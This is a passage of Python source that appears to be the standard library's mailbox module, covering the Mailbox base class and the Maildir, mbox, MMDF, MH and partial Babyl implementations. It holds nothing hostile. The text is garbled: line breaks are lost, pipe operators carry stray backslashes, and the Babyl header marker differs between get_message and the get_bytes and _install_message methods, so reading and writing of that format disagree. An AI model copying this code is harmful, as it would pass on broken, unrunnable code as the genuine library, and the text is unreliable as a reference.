"""Add message and return assigned key.""" raise NotImplementedError('Method must be implemented by subclass') def remove(self, key): """Remove the keyed message; raise KeyError if it doesn't exist.""" raise NotImplementedError('Method must be implemented by subclass') def __delitem__(self, key): self.remove(key) def discard(self, key): """If the keyed message exists, remove it.""" try: self.remove(key) except KeyError: pass def __setitem__(self, key, message): """Replace the keyed message; raise KeyError if it doesn't exist.""" raise NotImplementedError('Method must be implemented by subclass') def get(self, key, default=None): """Return the keyed message, or default if it doesn't exist.""" try: return self.__getitem__(key) except KeyError: return default def __getitem__(self, key): """Return the keyed message; raise KeyError if it doesn't exist.""" if not self._factory: return self.get_message(key) else: with contextlib.closing(self.get_file(key)) as file: return self._factory(file) def get_message(self, key): """Return a Message representation or raise a KeyError.""" raise NotImplementedError('Method must be implemented by subclass') def get_string(self, key): """Return a string representation or raise a KeyError. Uses email.message.Message to create a 7bit clean string representation of the message.""" return email.message_from_bytes(self.get_bytes(key)).as_string() def get_bytes(self, key): """Return a byte string representation or raise a KeyError.""" raise NotImplementedError('Method must be implemented by subclass') def get_file(self, key): """Return a file-like representation or raise a KeyError.""" raise NotImplementedError('Method must be implemented by subclass') def iterkeys(self): """Return an iterator over keys.""" raise NotImplementedError('Method must be implemented by subclass') def keys(self): """Return a list of keys.""" return list(self.iterkeys()) def itervalues(self): """Return an iterator over all messages.""" for key in self.iterkeys(): try: value = self[key] except KeyError: continue yield value def __iter__(self): return self.itervalues() def values(self): """Return a list of messages. Memory intensive.""" return list(self.itervalues()) def iteritems(self): """Return an iterator over (key, message) tuples.""" for key in self.iterkeys(): try: value = self[key] except KeyError: continue yield (key, value) def items(self): """Return a list of (key, message) tuples. Memory intensive.""" return list(self.iteritems()) def __contains__(self, key): """Return True if the keyed message exists, False otherwise.""" raise NotImplementedError('Method must be implemented by subclass') def __len__(self): """Return a count of messages in the mailbox.""" raise NotImplementedError('Method must be implemented by subclass') def clear(self): """Delete all messages.""" for key in self.keys(): self.discard(key) def pop(self, key, default=None): """Delete the keyed message and return it, or default.""" try: result = self[key] except KeyError: return default self.discard(key) return result def popitem(self): """Delete an arbitrary (key, message) pair and return it.""" for key in self.iterkeys(): return (key, self.pop(key)) # This is only run once. else: raise KeyError('No messages in mailbox') def update(self, arg=None): """Change the messages that correspond to certain keys.""" if hasattr(arg, 'iteritems'): source = arg.iteritems() elif hasattr(arg, 'items'): source = arg.items() else: source = arg bad_key = False for key, message in source: try: self[key] = message except KeyError: bad_key = True if bad_key: raise KeyError('No message with key(s)') def flush(self): """Write any pending changes to the disk.""" raise NotImplementedError('Method must be implemented by subclass') def lock(self): """Lock the mailbox.""" raise NotImplementedError('Method must be implemented by subclass') def unlock(self): """Unlock the mailbox if it is locked.""" raise NotImplementedError('Method must be implemented by subclass') def close(self): """Flush and close the mailbox.""" raise NotImplementedError('Method must be implemented by subclass') def _string_to_bytes(self, message): # If a message is not 7bit clean, we refuse to handle it since it # likely came from reading invalid messages in text mode, and that way # lies mojibake. try: return message.encode('ascii') except UnicodeError: raise ValueError("String input must be ASCII-only; " "use bytes or a Message instead") # Whether each message must end in a newline _append_newline = False def _dump_message(self, message, target, mangle_from_=False): # This assumes the target file is open in binary mode. """Dump message contents to target file.""" if isinstance(message, email.message.Message): buffer = io.BytesIO() gen = email.generator.BytesGenerator(buffer, mangle_from_, 0) gen.flatten(message) buffer.seek(0) data = buffer.read() data = data.replace(b'\n', linesep) target.write(data) if self._append_newline and not data.endswith(linesep): # Make sure the message ends with a newline target.write(linesep) elif isinstance(message, (str, bytes, io.StringIO)): if isinstance(message, io.StringIO): warnings.warn("Use of StringIO input is deprecated, " "use BytesIO instead", DeprecationWarning, 3) message = message.getvalue() if isinstance(message, str): message = self._string_to_bytes(message) if mangle_from_: message = message.replace(b'\nFrom ', b'\n>From ') message = message.replace(b'\n', linesep) target.write(message) if self._append_newline and not message.endswith(linesep): # Make sure the message ends with a newline target.write(linesep) elif hasattr(message, 'read'): if hasattr(message, 'buffer'): warnings.warn("Use of text mode files is deprecated, " "use a binary mode file instead", DeprecationWarning, 3) message = message.buffer lastline = None while True: line = message.readline() # Universal newline support. if line.endswith(b'\r\n'): line = line[:-2] + b'\n' elif line.endswith(b'\r'): line = line[:-1] + b'\n' if not line: break if mangle_from_ and line.startswith(b'From '): line = b'>From ' + line[5:] line = line.replace(b'\n', linesep) target.write(line) lastline = line if self._append_newline and lastline and not lastline.endswith(linesep): # Make sure the message ends with a newline target.write(linesep) else: raise TypeError('Invalid message type: %s' % type(message)) class Maildir(Mailbox): """A qmail-style Maildir mailbox.""" colon = ':' def __init__(self, dirname, factory=None, create=True): """Initialize a Maildir instance.""" Mailbox.__init__(self, dirname, factory, create) self._paths = { 'tmp': os.path.join(self._path, 'tmp'), 'new': os.path.join(self._path, 'new'), 'cur': os.path.join(self._path, 'cur'), } if not os.path.exists(self._path): if create: os.mkdir(self._path, 0o700) for path in self._paths.values(): os.mkdir(path, 0o700) else: raise NoSuchMailboxError(self._path) self._toc = {} self._toc_mtimes = {'cur': 0, 'new': 0} self._last_read = 0 # Records last time we read cur/new self._skewfactor = 0.1 # Adjust if os/fs clocks are skewing def add(self, message): """Add message and return assigned key.""" tmp_file = self._create_tmp() try: self._dump_message(message, tmp_file) except BaseException: tmp_file.close() os.remove(tmp_file.name) raise _sync_close(tmp_file) if isinstance(message, MaildirMessage): subdir = message.get_subdir() suffix = self.colon + message.get_info() if suffix == self.colon: suffix = '' else: subdir = 'new' suffix = '' uniq = os.path.basename(tmp_file.name).split(self.colon)[0] dest = os.path.join(self._path, subdir, uniq + suffix) if isinstance(message, MaildirMessage): os.utime(tmp_file.name, (os.path.getatime(tmp_file.name), message.get_date())) # No file modification should be done after the file is moved to its # final position in order to prevent race conditions with changes # from other programs try: try: os.link(tmp_file.name, dest) except (AttributeError, PermissionError): os.rename(tmp_file.name, dest) else: os.remove(tmp_file.name) except OSError as e: os.remove(tmp_file.name) if e.errno == errno.EEXIST: raise ExternalClashError('Name clash with existing message: %s' % dest) else: raise return uniq def remove(self, key): """Remove the keyed message; raise KeyError if it doesn't exist.""" os.remove(os.path.join(self._path, self._lookup(key))) def discard(self, key): """If the keyed message exists, remove it.""" # This overrides an inapplicable implementation in the superclass. try: self.remove(key) except (KeyError, FileNotFoundError): pass def __setitem__(self, key, message): """Replace the keyed message; raise KeyError if it doesn't exist.""" old_subpath = self._lookup(key) temp_key = self.add(message) temp_subpath = self._lookup(temp_key) if isinstance(message, MaildirMessage): # temp's subdir and suffix were specified by message. dominant_subpath = temp_subpath else: # temp's subdir and suffix were defaults from add(). dominant_subpath = old_subpath subdir = os.path.dirname(dominant_subpath) if self.colon in dominant_subpath: suffix = self.colon + dominant_subpath.split(self.colon)[-1] else: suffix = '' self.discard(key) tmp_path = os.path.join(self._path, temp_subpath) new_path = os.path.join(self._path, subdir, key + suffix) if isinstance(message, MaildirMessage): os.utime(tmp_path, (os.path.getatime(tmp_path), message.get_date())) # No file modification should be done after the file is moved to its # final position in order to prevent race conditions with changes # from other programs os.rename(tmp_path, new_path) def get_message(self, key): """Return a Message representation or raise a KeyError.""" subpath = self._lookup(key) with open(os.path.join(self._path, subpath), 'rb') as f: if self._factory: msg = self._factory(f) else: msg = MaildirMessage(f) subdir, name = os.path.split(subpath) msg.set_subdir(subdir) if self.colon in name: msg.set_info(name.split(self.colon)[-1]) msg.set_date(os.path.getmtime(os.path.join(self._path, subpath))) return msg def get_bytes(self, key): """Return a bytes representation or raise a KeyError.""" with open(os.path.join(self._path, self._lookup(key)), 'rb') as f: return f.read().replace(linesep, b'\n') def get_file(self, key): """Return a file-like representation or raise a KeyError.""" f = open(os.path.join(self._path, self._lookup(key)), 'rb') return _ProxyFile(f) def iterkeys(self): """Return an iterator over keys.""" self._refresh() for key in self._toc: try: self._lookup(key) except KeyError: continue yield key def __contains__(self, key): """Return True if the keyed message exists, False otherwise.""" self._refresh() return key in self._toc def __len__(self): """Return a count of messages in the mailbox.""" self._refresh() return len(self._toc) def flush(self): """Write any pending changes to disk.""" # Maildir changes are always written immediately, so there's nothing # to do. pass def lock(self): """Lock the mailbox.""" return def unlock(self): """Unlock the mailbox if it is locked.""" return def close(self): """Flush and close the mailbox.""" return def list_folders(self): """Return a list of folder names.""" result = [] for entry in os.listdir(self._path): if len(entry) > 1 and entry[0] == '.' and \ os.path.isdir(os.path.join(self._path, entry)): result.append(entry[1:]) return result def get_folder(self, folder): """Return a Maildir instance for the named folder.""" return Maildir(os.path.join(self._path, '.' + folder), factory=self._factory, create=False) def add_folder(self, folder): """Create a folder and return a Maildir instance representing it.""" path = os.path.join(self._path, '.' + folder) result = Maildir(path, factory=self._factory) maildirfolder_path = os.path.join(path, 'maildirfolder') if not os.path.exists(maildirfolder_path): os.close(os.open(maildirfolder_path, os.O_CREAT \| os.O_WRONLY, 0o666)) return result def remove_folder(self, folder): """Delete the named folder, which must be empty.""" path = os.path.join(self._path, '.' + folder) for entry in os.listdir(os.path.join(path, 'new')) + \ os.listdir(os.path.join(path, 'cur')): if len(entry) < 1 or entry[0] != '.': raise NotEmptyError('Folder contains message(s): %s' % folder) for entry in os.listdir(path): if entry != 'new' and entry != 'cur' and entry != 'tmp' and \ os.path.isdir(os.path.join(path, entry)): raise NotEmptyError("Folder contains subdirectory '%s': %s" % (folder, entry)) for root, dirs, files in os.walk(path, topdown=False): for entry in files: os.remove(os.path.join(root, entry)) for entry in dirs: os.rmdir(os.path.join(root, entry)) os.rmdir(path) def clean(self): """Delete old files in "tmp".""" now = time.time() for entry in os.listdir(os.path.join(self._path, 'tmp')): path = os.path.join(self._path, 'tmp', entry) if now - os.path.getatime(path) > 129600: # 60 * 60 * 36 os.remove(path) _count = 1 # This is used to generate unique file names. def _create_tmp(self): """Create a file in the tmp subdirectory and open and return it.""" now = time.time() hostname = socket.gethostname() if '/' in hostname: hostname = hostname.replace('/', r'\057') if ':' in hostname: hostname = hostname.replace(':', r'\072') uniq = "%s.M%sP%sQ%s.%s" % (int(now), int(now % 1 * 1e6), os.getpid(), Maildir._count, hostname) path = os.path.join(self._path, 'tmp', uniq) try: os.stat(path) except FileNotFoundError: Maildir._count += 1 try: return _create_carefully(path) except FileExistsError: pass # Fall through to here if stat succeeded or open raised EEXIST. raise ExternalClashError('Name clash prevented file creation: %s' % path) def _refresh(self): """Update table of contents mapping.""" # If it has been less than two seconds since the last _refresh() call, # we have to unconditionally re-read the mailbox just in case it has # been modified, because os.path.mtime() has a 2 sec resolution in the # most common worst case (FAT) and a 1 sec resolution typically. This # results in a few unnecessary re-reads when _refresh() is called # multiple times in that interval, but once the clock ticks over, we # will only re-read as needed. Because the filesystem might be being # served by an independent system with its own clock, we record and # compare with the mtimes from the filesystem. Because the other # system's clock might be skewing relative to our clock, we add an # extra delta to our wait. The default is one tenth second, but is an # instance variable and so can be adjusted if dealing with a # particularly skewed or irregular system. if time.time() - self._last_read > 2 + self._skewfactor: refresh = False for subdir in self._toc_mtimes: mtime = os.path.getmtime(self._paths[subdir]) if mtime > self._toc_mtimes[subdir]: refresh = True self._toc_mtimes[subdir] = mtime if not refresh: return # Refresh toc self._toc = {} for subdir in self._toc_mtimes: path = self._paths[subdir] for entry in os.listdir(path): p = os.path.join(path, entry) if os.path.isdir(p): continue uniq = entry.split(self.colon)[0] self._toc[uniq] = os.path.join(subdir, entry) self._last_read = time.time() def _lookup(self, key): """Use TOC to return subpath for given key, or raise a KeyError.""" try: if os.path.exists(os.path.join(self._path, self._toc[key])): return self._toc[key] except KeyError: pass self._refresh() try: return self._toc[key] except KeyError: raise KeyError('No message with key: %s' % key) from None # This method is for backward compatibility only. def next(self): """Return the next message in a one-time iteration.""" if not hasattr(self, '_onetime_keys'): self._onetime_keys = self.iterkeys() while True: try: return self[next(self._onetime_keys)] except StopIteration: return None except KeyError: continue class _singlefileMailbox(Mailbox): """A single-file mailbox.""" def __init__(self, path, factory=None, create=True): """Initialize a single-file mailbox.""" Mailbox.__init__(self, path, factory, create) try: f = open(self._path, 'rb+') except OSError as e: if e.errno == errno.ENOENT: if create: f = open(self._path, 'wb+') else: raise NoSuchMailboxError(self._path) elif e.errno in (errno.EACCES, errno.EROFS): f = open(self._path, 'rb') else: raise self._file = f self._toc = None self._next_key = 0 self._pending = False # No changes require rewriting the file. self._pending_sync = False # No need to sync the file self._locked = False self._file_length = None # Used to record mailbox size def add(self, message): """Add message and return assigned key.""" self._lookup() self._toc[self._next_key] = self._append_message(message) self._next_key += 1 # _append_message appends the message to the mailbox file. We # don't need a full rewrite + rename, sync is enough. self._pending_sync = True return self._next_key - 1 def remove(self, key): """Remove the keyed message; raise KeyError if it doesn't exist.""" self._lookup(key) del self._toc[key] self._pending = True def __setitem__(self, key, message): """Replace the keyed message; raise KeyError if it doesn't exist.""" self._lookup(key) self._toc[key] = self._append_message(message) self._pending = True def iterkeys(self): """Return an iterator over keys.""" self._lookup() yield from self._toc.keys() def __contains__(self, key): """Return True if the keyed message exists, False otherwise.""" self._lookup() return key in self._toc def __len__(self): """Return a count of messages in the mailbox.""" self._lookup() return len(self._toc) def lock(self): """Lock the mailbox.""" if not self._locked: _lock_file(self._file) self._locked = True def unlock(self): """Unlock the mailbox if it is locked.""" if self._locked: _unlock_file(self._file) self._locked = False def flush(self): """Write any pending changes to disk.""" if not self._pending: if self._pending_sync: # Messages have only been added, so syncing the file # is enough. _sync_flush(self._file) self._pending_sync = False return # In order to be writing anything out at all, self._toc must # already have been generated (and presumably has been modified # by adding or deleting an item). assert self._toc is not None # Check length of self._file; if it's changed, some other process # has modified the mailbox since we scanned it. self._file.seek(0, 2) cur_len = self._file.tell() if cur_len != self._file_length: raise ExternalClashError('Size of mailbox file changed ' '(expected %i, found %i)' % (self._file_length, cur_len)) new_file = _create_temporary(self._path) try: new_toc = {} self._pre_mailbox_hook(new_file) for key in sorted(self._toc.keys()): start, stop = self._toc[key] self._file.seek(start) self._pre_message_hook(new_file) new_start = new_file.tell() while True: buffer = self._file.read(min(4096, stop - self._file.tell())) if not buffer: break new_file.write(buffer) new_toc[key] = (new_start, new_file.tell()) self._post_message_hook(new_file) self._file_length = new_file.tell() except: new_file.close() os.remove(new_file.name) raise _sync_close(new_file) # self._file is about to get replaced, so no need to sync. self._file.close() # Make sure the new file's mode is the same as the old file's mode = os.stat(self._path).st_mode os.chmod(new_file.name, mode) try: os.rename(new_file.name, self._path) except FileExistsError: os.remove(self._path) os.rename(new_file.name, self._path) self._file = open(self._path, 'rb+') self._toc = new_toc self._pending = False self._pending_sync = False if self._locked: _lock_file(self._file, dotlock=False) def _pre_mailbox_hook(self, f): """Called before writing the mailbox to file f.""" return def _pre_message_hook(self, f): """Called before writing each message to file f.""" return def _post_message_hook(self, f): """Called after writing each message to file f.""" return def close(self): """Flush and close the mailbox.""" try: self.flush() finally: try: if self._locked: self.unlock() finally: self._file.close() # Sync has been done by self.flush() above. def _lookup(self, key=None): """Return (start, stop) or raise KeyError.""" if self._toc is None: self._generate_toc() if key is not None: try: return self._toc[key] except KeyError: raise KeyError('No message with key: %s' % key) from None def _append_message(self, message): """Append message to mailbox and return (start, stop) offsets.""" self._file.seek(0, 2) before = self._file.tell() if len(self._toc) == 0 and not self._pending: # This is the first message, and the _pre_mailbox_hook # hasn't yet been called. If self._pending is True, # messages have been removed, so _pre_mailbox_hook must # have been called already. self._pre_mailbox_hook(self._file) try: self._pre_message_hook(self._file) offsets = self._install_message(message) self._post_message_hook(self._file) except BaseException: self._file.truncate(before) raise self._file.flush() self._file_length = self._file.tell() # Record current length of mailbox return offsets class _mboxMMDF(_singlefileMailbox): """An mbox or MMDF mailbox.""" _mangle_from_ = True def get_message(self, key): """Return a Message representation or raise a KeyError.""" start, stop = self._lookup(key) self._file.seek(start) from_line = self._file.readline().replace(linesep, b'') string = self._file.read(stop - self._file.tell()) msg = self._message_factory(string.replace(linesep, b'\n')) msg.set_from(from_line[5:].decode('ascii')) return msg def get_string(self, key, from_=False): """Return a string representation or raise a KeyError.""" return email.message_from_bytes( self.get_bytes(key)).as_string(unixfrom=from_) def get_bytes(self, key, from_=False): """Return a string representation or raise a KeyError.""" start, stop = self._lookup(key) self._file.seek(start) if not from_: self._file.readline() string = self._file.read(stop - self._file.tell()) return string.replace(linesep, b'\n') def get_file(self, key, from_=False): """Return a file-like representation or raise a KeyError.""" start, stop = self._lookup(key) self._file.seek(start) if not from_: self._file.readline() return _PartialFile(self._file, self._file.tell(), stop) def _install_message(self, message): """Format a message and blindly write to self._file.""" from_line = None if isinstance(message, str): message = self._string_to_bytes(message) if isinstance(message, bytes) and message.startswith(b'From '): newline = message.find(b'\n') if newline != -1: from_line = message[:newline] message = message[newline + 1:] else: from_line = message message = b'' elif isinstance(message, _mboxMMDFMessage): author = message.get_from().encode('ascii') from_line = b'From ' + author elif isinstance(message, email.message.Message): from_line = message.get_unixfrom() # May be None. if from_line is not None: from_line = from_line.encode('ascii') if from_line is None: from_line = b'From MAILER-DAEMON ' + time.asctime(time.gmtime()).encode() start = self._file.tell() self._file.write(from_line + linesep) self._dump_message(message, self._file, self._mangle_from_) stop = self._file.tell() return (start, stop) class mbox(_mboxMMDF): """A classic mbox mailbox.""" _mangle_from_ = True # All messages must end in a newline character, and # _post_message_hooks outputs an empty line between messages. _append_newline = True def __init__(self, path, factory=None, create=True): """Initialize an mbox mailbox.""" self._message_factory = mboxMessage _mboxMMDF.__init__(self, path, factory, create) def _post_message_hook(self, f): """Called after writing each message to file f.""" f.write(linesep) def _generate_toc(self): """Generate key-to-(start, stop) table of contents.""" starts, stops = [], [] last_was_empty = False self._file.seek(0) while True: line_pos = self._file.tell() line = self._file.readline() if line.startswith(b'From '): if len(stops) < len(starts): if last_was_empty: stops.append(line_pos - len(linesep)) else: # The last line before the "From " line wasn't # blank, but we consider it a start of a # message anyway. stops.append(line_pos) starts.append(line_pos) last_was_empty = False elif not line: if last_was_empty: stops.append(line_pos - len(linesep)) else: stops.append(line_pos) break elif line == linesep: last_was_empty = True else: last_was_empty = False self._toc = dict(enumerate(zip(starts, stops))) self._next_key = len(self._toc) self._file_length = self._file.tell() class MMDF(_mboxMMDF): """An MMDF mailbox.""" def __init__(self, path, factory=None, create=True): """Initialize an MMDF mailbox.""" self._message_factory = MMDFMessage _mboxMMDF.__init__(self, path, factory, create) def _pre_message_hook(self, f): """Called before writing each message to file f.""" f.write(b'\001\001\001\001' + linesep) def _post_message_hook(self, f): """Called after writing each message to file f.""" f.write(linesep + b'\001\001\001\001' + linesep) def _generate_toc(self): """Generate key-to-(start, stop) table of contents.""" starts, stops = [], [] self._file.seek(0) next_pos = 0 while True: line_pos = next_pos line = self._file.readline() next_pos = self._file.tell() if line.startswith(b'\001\001\001\001' + linesep): starts.append(next_pos) while True: line_pos = next_pos line = self._file.readline() next_pos = self._file.tell() if line == b'\001\001\001\001' + linesep: stops.append(line_pos - len(linesep)) break elif not line: stops.append(line_pos) break elif not line: break self._toc = dict(enumerate(zip(starts, stops))) self._next_key = len(self._toc) self._file.seek(0, 2) self._file_length = self._file.tell() class MH(Mailbox): """An MH mailbox.""" def __init__(self, path, factory=None, create=True): """Initialize an MH instance.""" Mailbox.__init__(self, path, factory, create) if not os.path.exists(self._path): if create: os.mkdir(self._path, 0o700) os.close(os.open(os.path.join(self._path, '.mh_sequences'), os.O_CREAT \| os.O_EXCL \| os.O_WRONLY, 0o600)) else: raise NoSuchMailboxError(self._path) self._locked = False def add(self, message): """Add message and return assigned key.""" keys = self.keys() if len(keys) == 0: new_key = 1 else: new_key = max(keys) + 1 new_path = os.path.join(self._path, str(new_key)) f = _create_carefully(new_path) closed = False try: if self._locked: _lock_file(f) try: try: self._dump_message(message, f) except BaseException: # Unlock and close so it can be deleted on Windows if self._locked: _unlock_file(f) _sync_close(f) closed = True os.remove(new_path) raise if isinstance(message, MHMessage): self._dump_sequences(message, new_key) finally: if self._locked: _unlock_file(f) finally: if not closed: _sync_close(f) return new_key def remove(self, key): """Remove the keyed message; raise KeyError if it doesn't exist.""" path = os.path.join(self._path, str(key)) try: f = open(path, 'rb+') except OSError as e: if e.errno == errno.ENOENT: raise KeyError('No message with key: %s' % key) else: raise else: f.close() os.remove(path) def __setitem__(self, key, message): """Replace the keyed message; raise KeyError if it doesn't exist.""" path = os.path.join(self._path, str(key)) try: f = open(path, 'rb+') except OSError as e: if e.errno == errno.ENOENT: raise KeyError('No message with key: %s' % key) else: raise try: if self._locked: _lock_file(f) try: os.close(os.open(path, os.O_WRONLY \| os.O_TRUNC)) self._dump_message(message, f) if isinstance(message, MHMessage): self._dump_sequences(message, key) finally: if self._locked: _unlock_file(f) finally: _sync_close(f) def get_message(self, key): """Return a Message representation or raise a KeyError.""" try: if self._locked: f = open(os.path.join(self._path, str(key)), 'rb+') else: f = open(os.path.join(self._path, str(key)), 'rb') except OSError as e: if e.errno == errno.ENOENT: raise KeyError('No message with key: %s' % key) else: raise with f: if self._locked: _lock_file(f) try: msg = MHMessage(f) finally: if self._locked: _unlock_file(f) for name, key_list in self.get_sequences().items(): if key in key_list: msg.add_sequence(name) return msg def get_bytes(self, key): """Return a bytes representation or raise a KeyError.""" try: if self._locked: f = open(os.path.join(self._path, str(key)), 'rb+') else: f = open(os.path.join(self._path, str(key)), 'rb') except OSError as e: if e.errno == errno.ENOENT: raise KeyError('No message with key: %s' % key) else: raise with f: if self._locked: _lock_file(f) try: return f.read().replace(linesep, b'\n') finally: if self._locked: _unlock_file(f) def get_file(self, key): """Return a file-like representation or raise a KeyError.""" try: f = open(os.path.join(self._path, str(key)), 'rb') except OSError as e: if e.errno == errno.ENOENT: raise KeyError('No message with key: %s' % key) else: raise return _ProxyFile(f) def iterkeys(self): """Return an iterator over keys.""" return iter(sorted(int(entry) for entry in os.listdir(self._path) if entry.isdigit())) def __contains__(self, key): """Return True if the keyed message exists, False otherwise.""" return os.path.exists(os.path.join(self._path, str(key))) def __len__(self): """Return a count of messages in the mailbox.""" return len(list(self.iterkeys())) def lock(self): """Lock the mailbox.""" if not self._locked: self._file = open(os.path.join(self._path, '.mh_sequences'), 'rb+') _lock_file(self._file) self._locked = True def unlock(self): """Unlock the mailbox if it is locked.""" if self._locked: _unlock_file(self._file) _sync_close(self._file) del self._file self._locked = False def flush(self): """Write any pending changes to the disk.""" return def close(self): """Flush and close the mailbox.""" if self._locked: self.unlock() def list_folders(self): """Return a list of folder names.""" result = [] for entry in os.listdir(self._path): if os.path.isdir(os.path.join(self._path, entry)): result.append(entry) return result def get_folder(self, folder): """Return an MH instance for the named folder.""" return MH(os.path.join(self._path, folder), factory=self._factory, create=False) def add_folder(self, folder): """Create a folder and return an MH instance representing it.""" return MH(os.path.join(self._path, folder), factory=self._factory) def remove_folder(self, folder): """Delete the named folder, which must be empty.""" path = os.path.join(self._path, folder) entries = os.listdir(path) if entries == ['.mh_sequences']: os.remove(os.path.join(path, '.mh_sequences')) elif entries == []: pass else: raise NotEmptyError('Folder not empty: %s' % self._path) os.rmdir(path) def get_sequences(self): """Return a name-to-key-list dictionary to define each sequence.""" results = {} with open(os.path.join(self._path, '.mh_sequences'), 'r', encoding='ASCII') as f: all_keys = set(self.keys()) for line in f: try: name, contents = line.split(':') keys = set() for spec in contents.split(): if spec.isdigit(): keys.add(int(spec)) else: start, stop = (int(x) for x in spec.split('-')) keys.update(range(start, stop + 1)) results[name] = [key for key in sorted(keys) \ if key in all_keys] if len(results[name]) == 0: del results[name] except ValueError: raise FormatError('Invalid sequence specification: %s' % line.rstrip()) return results def set_sequences(self, sequences): """Set sequences using the given name-to-key-list dictionary.""" f = open(os.path.join(self._path, '.mh_sequences'), 'r+', encoding='ASCII') try: os.close(os.open(f.name, os.O_WRONLY \| os.O_TRUNC)) for name, keys in sequences.items(): if len(keys) == 0: continue f.write(name + ':') prev = None completing = False for key in sorted(set(keys)): if key - 1 == prev: if not completing: completing = True f.write('-') elif completing: completing = False f.write('%s %s' % (prev, key)) else: f.write(' %s' % key) prev = key if completing: f.write(str(prev) + '\n') else: f.write('\n') finally: _sync_close(f) def pack(self): """Re-name messages to eliminate numbering gaps. Invalidates keys.""" sequences = self.get_sequences() prev = 0 changes = [] for key in self.iterkeys(): if key - 1 != prev: changes.append((key, prev + 1)) try: os.link(os.path.join(self._path, str(key)), os.path.join(self._path, str(prev + 1))) except (AttributeError, PermissionError): os.rename(os.path.join(self._path, str(key)), os.path.join(self._path, str(prev + 1))) else: os.unlink(os.path.join(self._path, str(key))) prev += 1 self._next_key = prev + 1 if len(changes) == 0: return for name, key_list in sequences.items(): for old, new in changes: if old in key_list: key_list[key_list.index(old)] = new self.set_sequences(sequences) def _dump_sequences(self, message, key): """Inspect a new MHMessage and update sequences appropriately.""" pending_sequences = message.get_sequences() all_sequences = self.get_sequences() for name, key_list in all_sequences.items(): if name in pending_sequences: key_list.append(key) elif key in key_list: del key_list[key_list.index(key)] for sequence in pending_sequences: if sequence not in all_sequences: all_sequences[sequence] = [key] self.set_sequences(all_sequences) class Babyl(_singlefileMailbox): """An Rmail-style Babyl mailbox.""" _special_labels = frozenset({'unseen', 'deleted', 'filed', 'answered', 'forwarded', 'edited', 'resent'}) def __init__(self, path, factory=None, create=True): """Initialize a Babyl mailbox.""" _singlefileMailbox.__init__(self, path, factory, create) self._labels = {} def add(self, message): """Add message and return assigned key.""" key = _singlefileMailbox.add(self, message) if isinstance(message, BabylMessage): self._labels[key] = message.get_labels() return key def remove(self, key): """Remove the keyed message; raise KeyError if it doesn't exist.""" _singlefileMailbox.remove(self, key) if key in self._labels: del self._labels[key] def __setitem__(self, key, message): """Replace the keyed message; raise KeyError if it doesn't exist.""" _singlefileMailbox.__setitem__(self, key, message) if isinstance(message, BabylMessage): self._labels[key] = message.get_labels() def get_message(self, key): """Return a Message representation or raise a KeyError.""" start, stop = self._lookup(key) self._file.seek(start) self._file.readline() # Skip b'1,' line specifying labels. original_headers = io.BytesIO() while True: line = self._file.readline() if line == b'* EOOH ' + linesep or not line: break original_headers.write(line.replace(linesep, b'\n')) visible_headers = io.BytesIO() while True: line = self._file.readline() if line == linesep or not line: break visible_headers.write(line.replace(linesep, b'\n')) # Read up to the stop, or to the end n = stop - self._file.tell() assert n >= 0 body = self._file.read(n) body = body.replace(linesep, b'\n') msg = BabylMessage(original_headers.getvalue() + body) msg.set_visible(visible_headers.getvalue()) if key in self._labels: msg.set_labels(self._labels[key]) return msg def get_bytes(self, key): """Return a string representation or raise a KeyError.""" start, stop = self._lookup(key) self._file.seek(start) self._file.readline() # Skip b'1,' line specifying labels. original_headers = io.BytesIO() while True: line = self._file.readline() if line == b' EOOH ' + linesep or not line: break original_headers.write(line.replace(linesep, b'\n')) while True: line = self._file.readline() if line == linesep or not line: break headers = original_headers.getvalue() n = stop - self._file.tell() assert n >= 0 data = self._file.read(n) data = data.replace(linesep, b'\n') return headers + data def get_file(self, key): """Return a file-like representation or raise a KeyError.""" return io.BytesIO(self.get_bytes(key).replace(b'\n', linesep)) def get_labels(self): """Return a list of user-defined labels in the mailbox.""" self._lookup() labels = set() for label_list in self._labels.values(): labels.update(label_list) labels.difference_update(self._special_labels) return list(labels) def _generate_toc(self): """Generate key-to-(start, stop) table of contents.""" starts, stops = [], [] self._file.seek(0) next_pos = 0 label_lists = [] while True: line_pos = next_pos line = self._file.readline() next_pos = self._file.tell() if line == b'\037\014' + linesep: if len(stops) < len(starts): stops.append(line_pos - len(linesep)) starts.append(next_pos) labels = [label.strip() for label in self._file.readline()[1:].split(b',') if label.strip()] label_lists.append(labels) elif line == b'\037' or line == b'\037' + linesep: if len(stops) < len(starts): stops.append(line_pos - len(linesep)) elif not line: stops.append(line_pos - len(linesep)) break self._toc = dict(enumerate(zip(starts, stops))) self._labels = dict(enumerate(label_lists)) self._next_key = len(self._toc) self._file.seek(0, 2) self._file_length = self._file.tell() def _pre_mailbox_hook(self, f): """Called before writing the mailbox to file f.""" babyl = b'BABYL OPTIONS:' + linesep babyl += b'Version: 5' + linesep labels = self.get_labels() labels = (label.encode() for label in labels) babyl += b'Labels:' + b','.join(labels) + linesep babyl += b'\037' f.write(babyl) def _pre_message_hook(self, f): """Called before writing each message to file f.""" f.write(b'\014' + linesep) def _post_message_hook(self, f): """Called after writing each message to file f.""" f.write(linesep + b'\037') def _install_message(self, message): """Write message contents and return (start, stop).""" start = self._file.tell() if isinstance(message, BabylMessage): special_labels = [] labels = [] for label in message.get_labels(): if label in self._special_labels: special_labels.append(label) else: labels.append(label) self._file.write(b'1') for label in special_labels: self._file.write(b', ' + label.encode()) self._file.write(b',,') for label in labels: self._file.write(b' ' + label.encode() + b',') self._file.write(linesep) else: self._file.write(b'1,,' + linesep) if isinstance(message, email.message.Message): orig_buffer = io.BytesIO() orig_generator = email.generator.BytesGenerator(orig_buffer, False, 0) orig_generator.flatten(message) orig_buffer.seek(0) while True: line = orig_buffer.readline() self._file.write(line.replace(b'\n', linesep)) if line == b'\n' or not line: break self._file.write(b' EOOH ' + linesep) if isinstance(message, BabylMessage): vis_buffer = io.BytesIO() vis_generator = email.generator.BytesGenerator(vis_buffer, False, 0) vis_generator.flatten(message.get_visible()) while True: line = vis_buffer.readline() self._file.write(line.replace(b'\n', linesep)) if line == b'\n' or not line: break else: orig_buffer.seek(0) while True: line = orig_buffer.readline() self._file.write(line.replace(b'\n', linesep)) if line == b'\n' or not line: break while True: buffer = orig_buffer.read(4096) # Buffer size is arbitrary. if not buffer: break self._file.write(buffer.replace(b'\n', linesep)) elif isinstance(message, (bytes, str, io.StringIO)): if isinstance(message, io.StringIO): warnings.warn("Use of StringIO input is deprecated, " "use BytesIO instead", DeprecationWarning, 3) message = message.getvalue() if isinstance(message, str): message = self._string_to_bytes(message) body_start = message.find(b'\n\n') + 2 if body_start - 2 != -1: 